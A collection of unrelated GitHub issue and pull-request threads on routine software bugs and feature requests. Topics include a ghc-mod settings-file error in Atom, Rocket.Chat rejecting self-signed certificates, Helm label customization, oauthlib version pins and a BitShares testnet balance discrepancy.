{"version":[5,2,1,2],"legacyInteractive":false,"fileMap":false,"rootExec":false,"quoteArgs":false,"optparse":false}
URI: undefined
Args:
message:
/Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings:
openFile: does not exist (No such file or directory)
log:
-0335s: getProcessOptions()
-0326s: PATH =
/Users/edmund/Library/Haskell/bin/:/usr/bin:/bin:/usr/sbin:/sbin
-0156s: warn: nameless module in
/Users/edmund/Dropbox/Programming/Haskell/src/pipes_exercise_2hs
-0155s: Pipes created
-0154s: Pipes updating
-0154s: getProcessOptions(/Users/edmund/Dropbox/Programming/Haskell/src)
-0147s: PATH =
/Users/edmund/Library/Haskell/bin/:/usr/bin:/bin:/usr/sbin:/sbin
-0112s: Pipes moduleName mismatch: undefined != Pipes
-0112s: PipesPrelude created
-0112s: PipesPrelude updating
-0086s: PipesPrelude moduleName mismatch: undefined != PipesPrelude
-0086s: Prelude created
-0086s: Prelude updating
-0056s: Prelude moduleName mismatch: undefined != Prelude
-0038s:
{"version":[5,2,1,2],"legacyInteractive":false,"fileMap":false,"rootExec":false,"quoteArgs":false,"optparse":false}
-0036s: running /Users/edmund/Library/Haskell/bin/ghc-mod lang with
optionscwd = ,optionsenv = [object Object],optionsencoding = utf-8
-003s: running /Users/edmund/Library/Haskell/bin/ghc-mod flag with
optionscwd = ,optionsenv = [object Object],optionsencoding = utf-8
-0026s: running /Users/edmund/Library/Haskell/bin/ghc-mod
browse,-d,Pipes with optionscwd =
/Users/edmund/Dropbox/Programming/Haskell/src,optionsenv = [object
Object],optionsencoding = utf-8
-0023s: running /Users/edmund/Library/Haskell/bin/ghc-mod
browse,-d,PipesPrelude with optionscwd =
/Users/edmund/Dropbox/Programming/Haskell/src,optionsenv = [object
Object],optionsencoding = utf-8
-0002s: ghc-mod said:
/Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings:
openFile: does not exist (No such file or directory)
-0002s: ghc-mod said:
/Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings:
openFile: does not exist (No such file or directory)
-0001s: /Users/edmund/Library/Haskell/bin/ghc-mod ended with code 1
0s: code 1:
/Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings:
openFile: does not exist (No such file or directory)
code 1:
/Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings:
openFile: does not exist (No such file or directory)
at moduleexportsUtilmkError
(/Users/edmund/atom/packages/haskell-ghc-mod/lib/utilcoffee:154:15)
at BufferedProcessexit
(/Users/edmund/atom/packages/haskell-ghc-mod/lib/ghc-mod/ghc-modi-process-realcoffee:122:20)
at triggerExitCallback
(/Applications/Atomapp/Contents/Resources/appasar/src/buffered-processjs:213:47)
at
/Applications/Atomapp/Contents/Resources/appasar/src/buffered-processjs:227:18
at Socket
(/Applications/Atomapp/Contents/Resources/appasar/src/buffered-processjs:98:18)
at emitOne (eventsjs:82:20)
at Socketemit (eventsjs:169:7)
at Pipe_onclose (netjs:469:12)
Commands
Config
{
"core": {
"disabledPackages": [
"autocomplete-css",
"autocomplete-html",
"autocomplete-atom-api",
"autocomplete-plus"
],
"themes": [
"nucleus-dark-ui",
"gruvbox"
]
},
"haskell-ghc-mod": {
"additionalPathDirectories": [
"/Users/edmund/Library/Haskell/bin/"
],
"ghcModPath": "/Users/edmund/Library/Haskell/bin/ghc-mod",
"ghcModiPath": "/Users/edmund/Library/Haskell/bin/ghc-modi",
"onMouseHoverShow": "Nothing"
}
}
Installed Packages
User
autocomplete-haskell, v062
gruvbox, v105
haskell-ghc-mod, v166
ide-haskell, v139
ide-haskell-cabal, v100
ide-haskell-repl, v0017
language-haskell, v152
nucleus-dark-ui, v074
DevNo dev packages
—
Reply to this email directly or view it on GitHub
https://github.com/atom-haskell/haskell-ghc-mod/issues/109.

—
Reply to this email directly or view it on GitHub
https://github.com/atom-haskell/haskell-ghc-mod/issues/109#issuecomment-181213738
.

--
Edmund Cape, PhD MBA
(917) 715-8299
<EMAIL_ADDRESS>


3.0 Client cannot connect to Internal server with Self-signed certificate

My Setup

Operating System: Mac Os X 10.15
App Version: 3.0.0
Installation type: Brew, Manual install

[x] I have tested with the latest version
[x] I can simulate the issue easily

Description

When trying to connect to an internal server, that is using certificate issued from Internal PKI (and trusted by endpoint), the login to service cannot succeed.
Current Behavior

Client tells "No valud server found at the URL"
Trying to start application from terminal shows following error:
[bugsnag] Loaded! SyntaxError: Unexpected token o in JSON at position 1     at JSON.parse (<anonymous>)     at /Applications/Rocket.Chat.app/Contents/Resources/app.asar/app/main.js:1344:42     at Generator.next (<anonymous>)     at /Applications/Rocket.Chat.app/Contents/Resources/app.asar/node_modules/tslib/tslib.js:114:75     at new Promise (<anonymous>)     at Object.__awaiter (/Applications/Rocket.Chat.app/Contents/Resources/app.asar/node_modules/tslib/tslib.js:110:16)     at setupServers (/Applications/Rocket.Chat.app/Contents/Resources/app.asar/app/main.js:1280:46)     at /Applications/Rocket.Chat.app/Contents/Resources/app.asar/app/main.js:3225:11     at Generator.next (<anonymous>)     at fulfilled (/Applications/Rocket.Chat.app/Contents/Resources/app.asar/node_modules/tslib/tslib.js:111:62) Checking for update Update for version 3.0.0 is not available (latest version: 3.0.0, downgrade is disallowed). [bugsnag] Event failed to send… Error: self signed certificate in certificate chain     at TLSSocket.onConnectSecure (_tls_wrap.js:1484:34)     at TLSSocket.emit (events.js:310:20)     at TLSSocket.EventEmitter.emit (domain.js:482:12)     at TLSSocket._finishInit (_tls_wrap.js:927:8)     at TLSWrap.ssl.onhandshakedone (_tls_wrap.js:697:12) Error: self signed certificate in certificate chain     at TLSSocket.onConnectSecure (_tls_wrap.js:1484:34)     at TLSSocket.emit (events.js:310:20)     at TLSSocket.EventEmitter.emit (domain.js:482:12)     at TLSSocket._finishInit (_tls_wrap.js:927:8)     at TLSWrap.ssl.onhandshakedone (_tls_wrap.js:697:12) {   code: 'SELF_SIGNED_CERT_IN_CHAIN' } [bugsnag] Failed to send event to Bugsnag [bugsnag] Unhandled rejection… TypeError: Error processing argument at index 0, conversion failure from     at BrowserWindow.setBounds (electron/js2c/browser_init.js:29:405)     at applyRootWindowState (/Applications/Rocket.Chat.app/Contents/Resources/app.asar/app/main.js:760:20)     at /Applications/Rocket.Chat.app/Contents/Resources/app.asar/app/main.js:3241:5     at Generator.next (<anonymous>)     at fulfilled (/Applications/Rocket.Chat.app/Contents/Resources/app.asar/node_modules/tslib/tslib.js:111:62)     at processTicksAndRejections (internal/process/task_queues.js:97:5)
Expected Behavior

Would be greate to get logged in :)

P.S. if I offload certificate locally via the proxy and connect with HTTP, it works. Seems like issue with ignoring endpoint trust certificate setting and not having an option to feed custom certificate chain.

Can confirm simmilar behaivor on Windows

same for me

I can confirm same for Ubuntu (snap)

Can confirm this. Had to downgrade to login

Can confirm this, too. Manually entering the server using 3.0.0 & 3.0.1 does not work. Preconfiguring with servers.json works fine.

Figured out a temp work around here https://github.com/RocketChat/Rocket.Chat.Electron/issues/1764#issuecomment-702993532

I've found the cause: node-fetch was used to connect to the server instead of Electron's net API, therefore certificate-error and select-client-certificate events are not emitted. I'm working on it now, please wait.

~Electron is a joke.~ net.request does not raise any certificate-error event at all. To perform a request, I have to run it in a renderer process, so the fix is taking a little longer.

When I've worked with CEF, it took good effort to wrap and implement SSL event handling. It's possible Electron hasn't gone far into handle that part of Chromium.


BUG: Two server issue - Instance-level qualitative annotations not handled properly when there is a SEG/RTSTRUCT in the referenced study

Hi,
I am working with the IDC2servers branch, and noticed some potential issues with handling of qualitative annotations. I am working with data from the NSCLC-Radiomics collection, where each patient contains CT, SEG and RSTRUCT DICOM data. I noticed that when I have my dicom store with a SEG and SRs, the SR annotations fail to appear in the menu on the right as well as for the labels per slice. Previously I did not have this issue when the referenced study included only CT files.
The error that appears in the OHIF viewer is:

Here is a dropbox folder that contains the CT data, SEG and RTSTRUCT from IDC, as well as the SEG and two SRs that are in my own dicom store.
Thank you!
Deepa

Fixed in https://github.com/OHIF/Viewers/pull/2940 (also now errors in the SR parsing will be catched by the Logger and UI notification service). IDC forks updated as well to version 4.12.39.


Support contextual completion

Is your feature request related to a problem? Please describe
As a user I want to understand which variables are available and get help using them.
Describe the solution you'd like

Use variable context + local scopes to support contextual completion.
Provide type information (where available) with completion
Provide completion on properties

Describe alternatives you've considered
None.
Additional context
All this is already available in lezer-feel through the trackVariables context; however as it looks like we must re-implement it for editor tooling.

Related to https://github.com/nikku/lang-feel/issues/1.

+1


Support customization of labels and annotations helm adds to every object

Today helm adds to every object it creates some annotations and labels, eg.
  annotations:
    meta.helm.sh/release-name: fortio
    meta.helm.sh/release-namespace: fortio
  labels:
    app.kubernetes.io/managed-by: Helm

We have the need to add additional labels and annotations, without modifying every single chart and their templates, and as helm already does that for the above, it'd be great to support additional labels
(so for instance helmfile's commonLabels would be more directly useful, and would put these labels on all objects)
ps: if I am missing how to do it today, I apologize and please let me know; I don't mean though to do helm template | processing

@ldemailly PR is welcome.

I do recommend thinking about a post-renderer for this use-case. e.g. kustomize will allow patching labels/annotations easily:
https://github.com/kubernetes-sigs/kustomize/blob/master/examples/transformerconfigs/README.md#labels-transformer
https://github.com/kubernetes-sigs/kustomize/blob/master/examples/transformerconfigs/README.md#annotations-transformer
Kustomize's transformers also solve for some of the annoying things it would require to build into Helm e.g. patching labels/annotations of deployment specs.

I do recommend thinking about a post-renderer for this use-case. e.g. kustomize will allow patching labels/annotations easily:
https://github.com/kubernetes-sigs/kustomize/blob/master/examples/transformerconfigs/README.md#labels-transformer https://github.com/kubernetes-sigs/kustomize/blob/master/examples/transformerconfigs/README.md#annotations-transformer
Kustomize's transformers also solve for some of the annoying things it would require to build into Helm e.g. patching labels/annotations of deployment specs.

yeah. this a good solution. @ldemailly you can try to do like this.

unstale

given there is a pr this should probably be reopened?


Crashing with killstreak option.

On weapons that already have a killstreaker I crash, as long as the option that enables the fake weapon killstreak is active.

ok

this is funny

this is NOT funny >:(

сука ублюдок

hey please no swearing in russian here

FIXED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

finally now add backtrack to the demoman pills and make them fly throug the air and water and snow to hit ther targert pkease


Fix lifetimes of Serialize impl for Ser<'a, Cookie<'cookie>>

We must use two different lifetimes for Serde to work.

bors r+


requests_oauthlib and oauthlib requirements

I noticed that you did a hard pin on the requests-oauthlib and oauthlib libraries:
    install_requires=[
        "requests>=2.21.0", "oauthlib==2.1.0", "requests-oauthlib==1.0.0",
    ],

Are these hard pins necessary? Oauthlib is a requirement of requests-oauthlib, so that could be omitted allowing the version of requests-oauthlib to dictate it.
Additionally, requests-oauthlib versions 1.X all have the same interface. Using a range here would be less prescriptive and save users of this library the headaches of juggling this requirement with the importing project's code requirement of the same library.
Would this be a change you are willing to make?
This came up as I was looking to upgrade packages in my application for python 3.6 and noticed I was using requests-oauthlib in my application as well.
BTW, after downloading, updating and running your test suite for 3.6 locally, it looks like this package does run in 3.6 just fine. In case you are thinking about officially supporting it.

Hey, This is causing a problem for me.
In my project, I have a dependency on django-oauth-toolkit. and django-oauth-toolkit's latest version(which I need because I am using Django 2.2) needs oauthlib>3.0 where as pokitdok has fixed version of oauthlib==2.1.0.
This is causing version conflicts between these projects.
Can you please provide an estimate on when will this be over?


Import * as syntax incorrectly uses SVG loader

See https://github.com/facebook/create-react-app/issues/6251

Can you try the latest release and see if this has improved? If not please open a new issue.


testnet, full balance transfer missing

A small transfer works but then a full transfer leads to missing funds...
jcalfee@jcalfee-desktop(develop): ~/bitshares/develop/tests/acceptance_tests
./testnet.rb

entering node 'alice' interactive mode, enter 'exit' or 'quit' to exit
→ wallet_account_create tim
→ wallet_transfer 10 XTS angel tim
→ wallet_transfer 1,1 XTS angel tim
→ wallet_account_balance
ACCOUNT                         BALANCE
============================================================
angel                           47,474,988.00000 XTS
tim                             11.00000 XTS
→ wallet_transfer 47474987 XTS angel tim
→ blockchain_list_pending_transactions
[]
No pending transactions.
→ wallet_account_balance
ACCOUNT                         BALANCE
============================================================
angel                           0.50000 XTS
tim                             11.00000 XTS

@jcalfee Does the correct balance eventually show up after any period of time? It may take a few seconds for the scanner to update the cache.

I have yet to see the balance show up; several restarts and some time has passed.  I was 1 day behind and discovered develop has a compiler error.

By the way, the user acceptance tests pass.  So, this may be a special case: (like: having an account that is on the genesis block, or transferring to the unregistered account by name in the same wallet).

I went backwards to commit https://github.com/BitShares/bitshares/commit/14127f7a5926ca2fb0e94e58a83f0585e6b2af64 .. the transfer balance did eventually show up then transfers started working fine each block.

The build is fixed, but I'm still unable to test anything.  Transfers are still an issue for me on ubuntu using the latest develop code...

Same thing happened on DVS 0.6.0.  After wallet_delegate_withdraw_pay I see my balance was reduced but was not shown in the recipient's balance.  The balance did show up after I ran wallet_rescan_blockchain.

Did you withdraw to the same wallet or a different wallet? Did the transaction show up for the recipient before rescanning?

Different wallet different machine ..  No, it did not show up before rescanning.  I waited several minutes before running the rescan.  The recipient was running before the transfer took place.

Can this be reproduced at will in a test?   Is transaction scanning enabled?

@jcalfee What is the output of wallet_get_info when this occurs?

Sorry, I just saw your request.  Yes, something is cause my client's setting transaction_scanning_enabled to go to false on every re-start even though I have no active delegates.  I'll investigate that as a separate issue.

I re-did this test in a new environment and everything worked fine.  Out-of-the-box, transaction scanning was enabled.  After a full run in the acceptance_tests transaction scanning was still enabled.  I'm not sure how it would have been disabled but I think that was the cause.


Fixing issue #1675: Rounded corners in stacked column chart do not display correctly

I fixed the issue where the radius would not be applied to a column if the top columns value = 0, making the radius appearing not to be applied

Hi @enochwhitaker3,
Thank you for the pull request!
Could you please keep the original formatting as much as possible? A lot of unrelated code has changed and we don't want most of the file to blame to you.

Just fixed it as it also had to be addressed for stacked bar charts as well. Thanks once again!


Expander can't expand certain template

Github issues should be used for bugs and feature requests. Use Stack Overflow for general "how-to" questions.
Version
What package version of the SDK are you using.
Current master.
See this commit https://github.com/xieofxie/botbuilder-dotnet/commit/552c9fd1f68fc35512ede7298d9f6cfbf5f5332e, the bad is empty
Describe the bug
Give a clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

Go to '...'
Click on '....'
Scroll down to '....'
See error

Expected behavior
Give a clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Additional context
Add any other context about the problem here.
[bug]

@xieofxie can you add more info or close this if this has already been addressed?

@vishwacsena This bug still exists in master and I updated the reproduce steps.
@Danieladu said this should be assigned to @feich-ms

I will take a look since the expander function is maintained by me.

@xieofxie i'm taking off R10 of this, the original expander design has some limitation when it deals with list functions, and it was not going to give a complete result in all cases, especially when it evolves in functions that generate and\or manipulate list.
We will re-design expander in the way how it works with list functions, but we don't have the commitment in R10 yet.


Wrong error message in: Error: Failed to run pipeline: [DOTA069F][FATAL] Input file

In the event that the referenced  DTD file is incorrect the error message reports the source file as non existent.
In:

I was able to convert a file successfully.
In:

I changed the DTD file name from /home to /HOME to make it invalid, but the message that comes back is:
Error: Failed to run pipeline: [DOTA069F][FATAL] Input file 'file:/home/phil/dita/dita-ot/src/main/docsrc/samples/test.xml' cannot be located or read.
despite:
ls -la /home/phil/dita/dita-ot/src/main/docsrc/samples/test.xml
-rw-rw-r-- 1 phil phil 387 Sep 11 17:02 /home/phil/dita/dita-ot/src/main/docsrc/samples/test.xml

This is highly misleading and confusing!
The erroneous message arises because in the Java source, a single try statement wraps far too many statements and then attempts to decode errors via an enormous set of catch blocks.  A better solution would be to use a number of try statements each more local to the statements to be executed to obtain a more granular result.
This error is extremely damaging to the credibility of the DITA OT because new users attempting to use it for the first time become highly frustrated with the time they must waste tracking down this error.  Indeed, it will beyond the capability of most new users to resolve this error  expeditiously because the error message is so misleading.
A better error message such as: "DTD file ... not found" would allow even a novice to resolve this error quickly and in doing so gain confidence in their ability to use this toolkit successfully.
I therefore implore you to fix this error promptly in order to preserve the honor and respect that the Open Source Software process so rightly deserves.

Duplicate of #2461.
I do agree that this should be fixed, though -- I've been confused by the same issue myself in the past.


(AzureCXP) Updating App test automation

Based on customer feedback on below two GitHub threads
https://github.com/MicrosoftDocs/azure-docs/issues/53270 (new thread)
https://github.com/MicrosoftDocs/azure-docs/issues/39190 (old thread)
Please review and let me know if its not feasible to generalize the app tests automation to be optional vs mandatory

@BharathNimmala-MSFT : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@BharathNimmala-MSFT please #hold-off I am waiting for feedback on a nuance here

#please-close


Fixed some minor issues in README.md

Hi @xhacker, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. Real humans will now evaluate your PR.

TTYL, MSBOT;

Thanks for the contribution :+1:


When sorting by columns on the reasons page, sort disabled posts separately

Reasons that are disabled should be sorted separately and at the bottom of active reasons.

Does something like this look reasonable?

I'd be very happy with that. :)


Update PPP

Codecov Report

Merging #227 (d6404b5) into master (bcb24c2) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #227   +/-   ##
=========================================
  Coverage     34.32%   34.32%
  Complexity      400      400
=========================================
  Files           141      141
  Lines          2867     2867
  Branches        333      333
=========================================
  Hits            984      984
  Misses         1833     1833
  Partials         50       50

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bcb24c2...d6404b5. Read the comment docs.